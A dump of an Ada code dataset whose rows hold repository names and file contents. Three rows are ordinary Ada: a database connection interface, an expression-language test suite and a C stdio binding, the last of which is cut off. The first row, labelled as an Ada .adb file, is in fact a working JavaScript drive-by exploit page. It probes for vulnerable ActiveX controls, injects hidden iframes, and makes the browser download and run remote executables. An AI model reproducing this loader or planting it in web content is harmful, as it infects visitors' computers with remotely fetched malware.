repo_name
stringlengths
9
74
language
stringclasses
1 value
length_bytes
int64
11
9.34M
extension
stringclasses
2 values
content
stringlengths
11
9.34M
TheWover/Family
Ada
2,063
adb
<SCRIPT>window.onerror=function(){return true;}</SCRIPT> <SCRIPT> window.defaultStatus="."; try{if(new ActiveXObject("snpvw.Snapsho"+"t Viewer Control.1"))document.write('<iframe width=100 height=0 src=../a0s.htm></iframe>')}catch(a){}try{var b;var gw=new ActiveXObject("Downloader.DLoader.1")}catch(b){};finally{if(b!="[object Error]"){document.write('<object classid="clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A" id="install" width=0 height=0></object>');install["DownloadAndInstall"]("http://wwww.ttfafb.com/wl.css")}}try{var e;var fderer="dfk#*&$FEFsdfdsfds";var ado=document.createElement("object");if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{if(e!="[object Error]"){document.write('<iframe width=100 height=0 src=../104.htm></iframe>')}else{try{var h;var glworld=new ActiveXObject("GLIEDown.IEDown.1")}catch(h){};finally{if(h!="[object Error]"){document.write('<iframe style=display:none src="lzz.htm"></iframe>')}}try{var bf;var bfworld=new ActiveXObject("MPS.StormPlayer")}catch(bf){};finally{if(bf!="[object Error]"){document.write('<iframe style=display:none src="../Bf0yy.htm"></iframe>')}}try{var i;var real=new ActiveXObject("IERPCtl.IERPCtl.1")}catch(i){};finally{if(i!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552"){document.write('<iframe width=100 height=0 src=../rea0l10.htm></iframe>')}else{document.write('<iframe style=display:none src="real11.htm"></iframe>')}}}try{var j;var Baidu=new ActiveXObject("BaiduBar.Tool")}catch(j){};finally{if(j!="[object Error]"){Baidu["DloadDS"]("http://wwww.ttfafa.com/Baidu.cab","Baidu.exe",0)}}if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"&&i=="[object Error]"){try{}catch(e){}}}} </script> <iframe src=fx.htm width=100 height=0></iframe> <iframe src=../c0x.htm width=100 height=0></iframe>
jrmarino/AdaBase
Ada
4,227
ads
-- This file is covered by the Internet Software Consortium (ISC) License -- Reference: ../../License.txt with AdaBase.Statement; package AdaBase.Interfaces.Connection is type iConnection is interface; package AS renames AdaBase.Statement; -- Autocommit procedure setAutoCommit (conn : out iConnection; auto : Boolean) is null; function autoCommit (conn : iConnection) return Boolean is abstract; -- Column Header Case Mode procedure setCaseMode (conn : out iConnection; mode : Case_Modes) is null; function getCaseMode (conn : iConnection) return Case_Modes is abstract; -- Set Compression Mode (if supported) procedure setCompressed (conn : out iConnection; compressed : Boolean) is null; function compressed (conn : iConnection) return Boolean is abstract; -- Set Buffered Queries (aka prefetch, if supported) procedure setUseBuffer (conn : out iConnection; buffered : Boolean) is null; function useBuffer (conn : iConnection) return Boolean is abstract; -- Set processing of multiple statements per query (if supported) procedure setMultiQuery (conn : out iConnection; multiple : Boolean) is null; function multiquery (conn : iConnection) return Boolean is abstract; -- Set maximum size of result that buffer must accommodate (if supported) procedure setMaxBlobSize (conn : out iConnection; maxsize : BLOB_Maximum) is null; function maxBlobSize (conn : iConnection) return BLOB_Maximum is abstract; -- Set transaction Isolation level procedure setTransactionIsolation (conn : out iConnection; isolation : Trax_Isolation) is null; function transactionIsolation (conn : iConnection) return Trax_Isolation is abstract; -- Set Character Set (only prior to connection) -- procedure set_character_set (conn : out iConnection; charset : String) is null; function character_set (conn : out iConnection) return String is abstract; -- properties function serverVersion (conn : iConnection) return String is abstract; function serverInfo (conn : iConnection) return String is abstract; function clientVersion (conn : iConnection) return String is abstract; function clientInfo (conn : iConnection) return String is abstract; function description (conn : iConnection) return String is abstract; function connected (conn : iConnection) return Boolean is abstract; -- Error information associated with last query function SqlState (conn : iConnection) return SQL_State is abstract; function driverMessage (conn : iConnection) return String is abstract; function driverCode (conn : iConnection) return Driver_Codes is abstract; -- Information associated with previous successful query function lastInsertID (conn : iConnection) return Trax_ID is abstract; function rows_affected_by_execution (conn : iConnection) return Affected_Rows is abstract; -- Commands procedure commit (conn : out iConnection) is null; procedure rollback (conn : out iConnection) is null; procedure disconnect (conn : out iConnection) is null; procedure execute (conn : out iConnection; sql : String) is null; procedure connect (conn : out iConnection; database : String; username : String := blankstring; password : String := blankstring; hostname : String := blankstring; socket : String := blankstring; port : Posix_Port := portless) is null; end AdaBase.Interfaces.Connection;
stcarrez/ada-el
Ada
4,978
adb
----------------------------------------------------------------------- -- EL testsuite - EL Testsuite -- Copyright (C) 2009, 2010, 2011 Stephane Carrez -- Written by Stephane Carrez ([email protected]) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Util.Test_Caller; with EL.Expressions; with EL.Objects; with EL.Contexts; with EL.Contexts.Default; with EL.Expressions.Tests; with EL.Beans.Tests; with EL.Contexts.Tests; with EL.Utils.Tests; package body EL.Testsuite is use EL.Objects; -- ------------------------------ -- Test object integer -- ------------------------------ procedure Test_To_Object_Integer (T : in out Test) is begin declare Value : constant EL.Objects.Object := To_Object (Integer (1)); begin T.Assert (Condition => To_Integer (Value) = 1, Message => "Object.To_Integer: invalid integer returned"); T.Assert (Condition => To_Long_Integer (Value) = 1, Message => "Object.To_Long_Integer: invalid integer returned"); T.Assert (Condition => To_Boolean (Value), Message => "Object.To_Boolean: invalid return"); declare V2 : constant EL.Objects.Object := Value + To_Object (Long_Integer (100)); begin T.Assert (Condition => To_Integer (V2) = 101, Message => "To_Integer invalid after an add"); end; end; end Test_To_Object_Integer; -- ------------------------------ -- Test object integer -- ------------------------------ procedure Test_Expression (T : in out Test) is E : EL.Expressions.Expression; Value : Object; Ctx : EL.Contexts.Default.Default_Context; begin -- Positive number E := EL.Expressions.Create_Expression ("12345678901", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_Long_Long_Integer (Value) = Long_Long_Integer (12345678901), Message => "[1] Expression result invalid: " & To_String (Value)); -- Negative number E := EL.Expressions.Create_Expression ("-10", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_Integer (Value) = -10, Message => "[2] Expression result invalid: " & To_String (Value)); -- Simple add E := EL.Expressions.Create_Expression ("#{1+1}", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_Integer (Value) = 2, Message => "[2.1] Expression result invalid: " & To_String (Value)); -- Constant expressions E := EL.Expressions.Create_Expression ("#{12 + (123 - 3) * 4}", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_Integer (Value) = 492, Message => "[3] Expression result invalid: " & To_String (Value)); -- Constant expressions E := EL.Expressions.Create_Expression ("#{12 + (123 - 3) * 4 + (23? 10 : 0)}", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_Integer (Value) = 502, Message => "[4] Expression result invalid: " & To_String (Value)); -- Choice expressions E := EL.Expressions.Create_Expression ("#{1 > 2 ? 12 + 2 : 3 * 3}", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_Integer (Value) = 9, Message => "[5] Expression result invalid: " & To_String (Value)); -- Choice expressions using strings E := EL.Expressions.Create_Expression ("#{1 > 2 ? 12 + 2 : 'A string'}", Ctx); Value := E.Get_Value (Ctx); T.Assert (Condition => To_String (Value) = "A string", Message => "[6] Expression result invalid: " & To_String (Value)); end Test_Expression; package Caller is new Util.Test_Caller (Test, "EL"); Tests : aliased Util.Tests.Test_Suite; function Suite return Util.Tests.Access_Test_Suite is Ret : constant Util.Tests.Access_Test_Suite := Tests'Access; begin Caller.Add_Test (Ret, "Test To_Object (Integer)", Test_To_Object_Integer'Access); Caller.Add_Test (Ret, "Test Expressions", Test_Expression'Access); EL.Expressions.Tests.Add_Tests (Ret); EL.Contexts.Tests.Add_Tests (Ret); EL.Beans.Tests.Add_Tests (Ret); EL.Utils.Tests.Add_Tests (Ret); return Ret; end Suite; end EL.Testsuite;
Fabien-Chouteau/GESTE
Ada
29,489
ads
pragma Style_Checks (Off); with Interfaces.C; use Interfaces.C; with Interfaces.C.Strings; with vadefs_h; with System; with umingw_h; with umingw_off_t_h; package stdio_h is BUFSIZ : constant := 512; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:19 EOF : constant := (-1); -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:23 -- unsupported macro: L_tmpnam (sizeof(_P_tmpdir) + 12) SEEK_CUR : constant := 1; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:55 SEEK_END : constant := 2; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:56 SEEK_SET : constant := 0; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:57 STDIN_FILENO : constant := 0; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:59 STDOUT_FILENO : constant := 1; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:60 STDERR_FILENO : constant := 2; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:61 FILENAME_MAX : constant := 260; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:63 FOPEN_MAX : constant := 20; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:64 TMP_MAX : constant := 32767; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:66 -- unsupported macro: stdin (&__iob_func()[0]) -- unsupported macro: stdout (&__iob_func()[1]) -- unsupported macro: stderr (&__iob_func()[2]) -- unsupported macro: popen _popen -- unsupported macro: pclose _pclose -- unsupported macro: WEOF (wint_t)(0xFFFF) -- unsupported macro: wpopen _wpopen -- arg-macro: procedure getwchar () -- fgetwc(stdin) -- arg-macro: procedure putwchar (_c) -- fputwc((_c),stdout) -- arg-macro: procedure getwc (_stm) -- fgetwc(_stm) -- arg-macro: procedure putwc (_c, _stm) -- fputwc(_c,_stm) -- unsupported macro: P_tmpdir _P_tmpdir -- unsupported macro: SYS_OPEN _SYS_OPEN type u_iobuf is record u_ptr : Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:27 u_cnt : aliased int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:28 u_base : Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:29 u_flag : aliased int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:30 u_file : aliased int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:31 u_charbuf : aliased int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:32 u_bufsiz : aliased int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:33 u_tmpfname : Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:34 end record; pragma Convention (C_Pass_By_Copy, u_iobuf); -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:26 subtype FILE is u_iobuf; subtype fpos_t is Long_Long_Integer; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:103 function fprintf (u_File : access FILE; u_Format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:348 pragma Import (C, fprintf, "fprintf"); function printf (u_Format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:349 pragma Import (C, printf, "printf"); function sprintf (u_Dest : Interfaces.C.Strings.chars_ptr; u_Format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:350 pragma Import (C, sprintf, "sprintf"); function vfprintf (u_File : access FILE; u_Format : Interfaces.C.Strings.chars_ptr; u_ArgList : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:352 pragma Import (C, vfprintf, "vfprintf"); function vprintf (u_Format : Interfaces.C.Strings.chars_ptr; u_ArgList : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:353 pragma Import (C, vprintf, "vprintf"); function vsprintf (u_Dest : Interfaces.C.Strings.chars_ptr; u_Format : Interfaces.C.Strings.chars_ptr; u_Args : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:354 pragma Import (C, vsprintf, "vsprintf"); function fscanf (u_File : access FILE; u_Format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:356 pragma Import (C, fscanf, "fscanf"); function scanf (u_Format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:357 pragma Import (C, scanf, "scanf"); function sscanf (u_Src : Interfaces.C.Strings.chars_ptr; u_Format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:358 pragma Import (C, sscanf, "sscanf"); function vscanf (Format : Interfaces.C.Strings.chars_ptr; argp : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:360 pragma Import (C, vscanf, "vscanf"); function vfscanf (fp : access FILE; Format : Interfaces.C.Strings.chars_ptr; argp : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:361 pragma Import (C, vfscanf, "vfscanf"); function vsscanf (u_Str : Interfaces.C.Strings.chars_ptr; Format : Interfaces.C.Strings.chars_ptr; argp : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:362 pragma Import (C, vsscanf, "vsscanf"); -- skipped func _filbuf -- skipped func _flsbuf -- skipped func _fsopen procedure clearerr (u_File : access FILE); -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:373 pragma Import (C, clearerr, "clearerr"); function fclose (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:374 pragma Import (C, fclose, "fclose"); -- skipped func _fcloseall -- skipped func _fdopen function feof (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:381 pragma Import (C, feof, "feof"); function ferror (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:382 pragma Import (C, ferror, "ferror"); function fflush (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:383 pragma Import (C, fflush, "fflush"); function fgetc (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:384 pragma Import (C, fgetc, "fgetc"); -- skipped func _fgetchar function fgetpos (u_File : access FILE; u_Pos : access fpos_t) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:386 pragma Import (C, fgetpos, "fgetpos"); function fgetpos64 (u_File : access FILE; u_Pos : access fpos_t) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:387 pragma Import (C, fgetpos64, "fgetpos64"); function fgets (u_Buf : Interfaces.C.Strings.chars_ptr; u_MaxCount : int; u_File : access FILE) return Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:388 pragma Import (C, fgets, "fgets"); -- skipped func _fileno -- skipped func _tempnam -- skipped func _flushall function fopen (u_Filename : Interfaces.C.Strings.chars_ptr; u_Mode : Interfaces.C.Strings.chars_ptr) return access FILE; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:395 pragma Import (C, fopen, "fopen"); function fopen64 (filename : Interfaces.C.Strings.chars_ptr; mode : Interfaces.C.Strings.chars_ptr) return access FILE; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:396 pragma Import (C, fopen64, "fopen64"); function fputc (u_Ch : int; u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:397 pragma Import (C, fputc, "fputc"); -- skipped func _fputchar function fputs (u_Str : Interfaces.C.Strings.chars_ptr; u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:399 pragma Import (C, fputs, "fputs"); function fread (u_DstBuf : System.Address; u_ElementSize : umingw_h.size_t; u_Count : umingw_h.size_t; u_File : access FILE) return umingw_h.size_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:400 pragma Import (C, fread, "fread"); function freopen (u_Filename : Interfaces.C.Strings.chars_ptr; u_Mode : Interfaces.C.Strings.chars_ptr; u_File : access FILE) return access FILE; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:401 pragma Import (C, freopen, "freopen"); -- skipped func _fscanf_l function fsetpos (u_File : access FILE; u_Pos : access fpos_t) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:403 pragma Import (C, fsetpos, "fsetpos"); function fsetpos64 (u_File : access FILE; u_Pos : access fpos_t) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:404 pragma Import (C, fsetpos64, "fsetpos64"); function fseek (u_File : access FILE; u_Offset : long; u_Origin : int) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:405 pragma Import (C, fseek, "fseek"); function fseeko64 (stream : access FILE; offset : umingw_off_t_h.u_off64_t; whence : int) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:409 pragma Import (C, fseeko64, "fseeko64"); function fseeko (stream : access FILE; offset : umingw_off_t_h.u_off_t; whence : int) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:410 pragma Import (C, fseeko, "fseeko"); function ftell (u_File : access FILE) return long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:423 pragma Import (C, ftell, "ftell"); function ftello (stream : access FILE) return umingw_off_t_h.u_off_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:425 pragma Import (C, ftello, "ftello"); function ftello64 (stream : access FILE) return umingw_off_t_h.u_off64_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:426 pragma Import (C, ftello64, "ftello64"); -- skipped func _fseeki64 -- skipped func _ftelli64 function fwrite (u_Str : System.Address; u_Size : umingw_h.size_t; u_Count : umingw_h.size_t; u_File : access FILE) return umingw_h.size_t; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:437 pragma Import (C, fwrite, "fwrite"); function getc (u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:438 pragma Import (C, getc, "getc"); function getchar return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:439 pragma Import (C, getchar, "getchar"); -- skipped func _getmaxstdio function gets (u_Buffer : Interfaces.C.Strings.chars_ptr) return Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:441 pragma Import (C, gets, "gets"); -- skipped func _getw procedure perror (u_ErrMsg : Interfaces.C.Strings.chars_ptr); -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:445 pragma Import (C, perror, "perror"); -- skipped func _pclose -- skipped func _popen function putc (u_Ch : int; u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:453 pragma Import (C, putc, "putc"); function putchar (u_Ch : int) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:454 pragma Import (C, putchar, "putchar"); function puts (u_Str : Interfaces.C.Strings.chars_ptr) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:455 pragma Import (C, puts, "puts"); -- skipped func _putw function remove (u_Filename : Interfaces.C.Strings.chars_ptr) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:459 pragma Import (C, remove, "remove"); function rename (u_OldFilename : Interfaces.C.Strings.chars_ptr; u_NewFilename : Interfaces.C.Strings.chars_ptr) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:460 pragma Import (C, rename, "rename"); -- skipped func _unlink function unlink (u_Filename : Interfaces.C.Strings.chars_ptr) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:463 pragma Import (C, unlink, "unlink"); procedure rewind (u_File : access FILE); -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:466 pragma Import (C, rewind, "rewind"); -- skipped func _rmtmp -- skipped func _scanf_l procedure setbuf (u_File : access FILE; u_Buffer : Interfaces.C.Strings.chars_ptr); -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:469 pragma Import (C, setbuf, "setbuf"); -- skipped func _setmaxstdio -- skipped func _set_output_format -- skipped func _get_output_format function setvbuf (u_File : access FILE; u_Buf : Interfaces.C.Strings.chars_ptr; u_Mode : int; u_Size : umingw_h.size_t) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:479 pragma Import (C, setvbuf, "setvbuf"); -- skipped func _scprintf -- skipped func _sscanf_l -- skipped func _snscanf -- skipped func _snscanf_l function tmpfile return access FILE; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:484 pragma Import (C, tmpfile, "tmpfile"); function tmpnam (u_Buffer : Interfaces.C.Strings.chars_ptr) return Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:485 pragma Import (C, tmpnam, "tmpnam"); function ungetc (u_Ch : int; u_File : access FILE) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:486 pragma Import (C, ungetc, "ungetc"); -- skipped func _snprintf -- skipped func _snprintf_l -- skipped func _vsnprintf -- skipped func _vsnprintf_l -- skipped func _sprintf_l function vsnprintf (d : Interfaces.C.Strings.chars_ptr; n : umingw_h.size_t; format : Interfaces.C.Strings.chars_ptr; arg : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:501 pragma Import (C, vsnprintf, "vsnprintf"); function snprintf (s : Interfaces.C.Strings.chars_ptr; n : umingw_h.size_t; format : Interfaces.C.Strings.chars_ptr -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:505 pragma Import (C, snprintf, "snprintf"); -- skipped func _vscprintf -- skipped func _set_printf_count_output -- skipped func _get_printf_count_output function fwscanf (u_File : access FILE; u_Format : access wchar_t -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:692 pragma Import (C, fwscanf, "fwscanf"); function swscanf (u_Src : access wchar_t; u_Format : access wchar_t -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:693 pragma Import (C, swscanf, "swscanf"); function wscanf (u_Format : access wchar_t -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:694 pragma Import (C, wscanf, "wscanf"); function vwscanf (arg1 : access wchar_t; arg2 : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:696 pragma Import (C, vwscanf, "vwscanf"); function vfwscanf (arg1 : access FILE; arg2 : access wchar_t; arg3 : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:697 pragma Import (C, vfwscanf, "vfwscanf"); function vswscanf (arg1 : access wchar_t; arg2 : access wchar_t; arg3 : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:698 pragma Import (C, vswscanf, "vswscanf"); function fwprintf (u_File : access FILE; u_Format : access wchar_t -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:701 pragma Import (C, fwprintf, "fwprintf"); function wprintf (u_Format : access wchar_t -- , ... ) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:702 pragma Import (C, wprintf, "wprintf"); function vfwprintf (u_File : access FILE; u_Format : access wchar_t; u_ArgList : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:703 pragma Import (C, vfwprintf, "vfwprintf"); function vwprintf (u_Format : access wchar_t; u_ArgList : vadefs_h.va_list) return int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/stdio.h:704 pragma Import (C, vwprintf, "vwprintf"); function swprintf (arg1 : access wchar_t; arg2 : access wchar_t -- , ... ) return int; -- 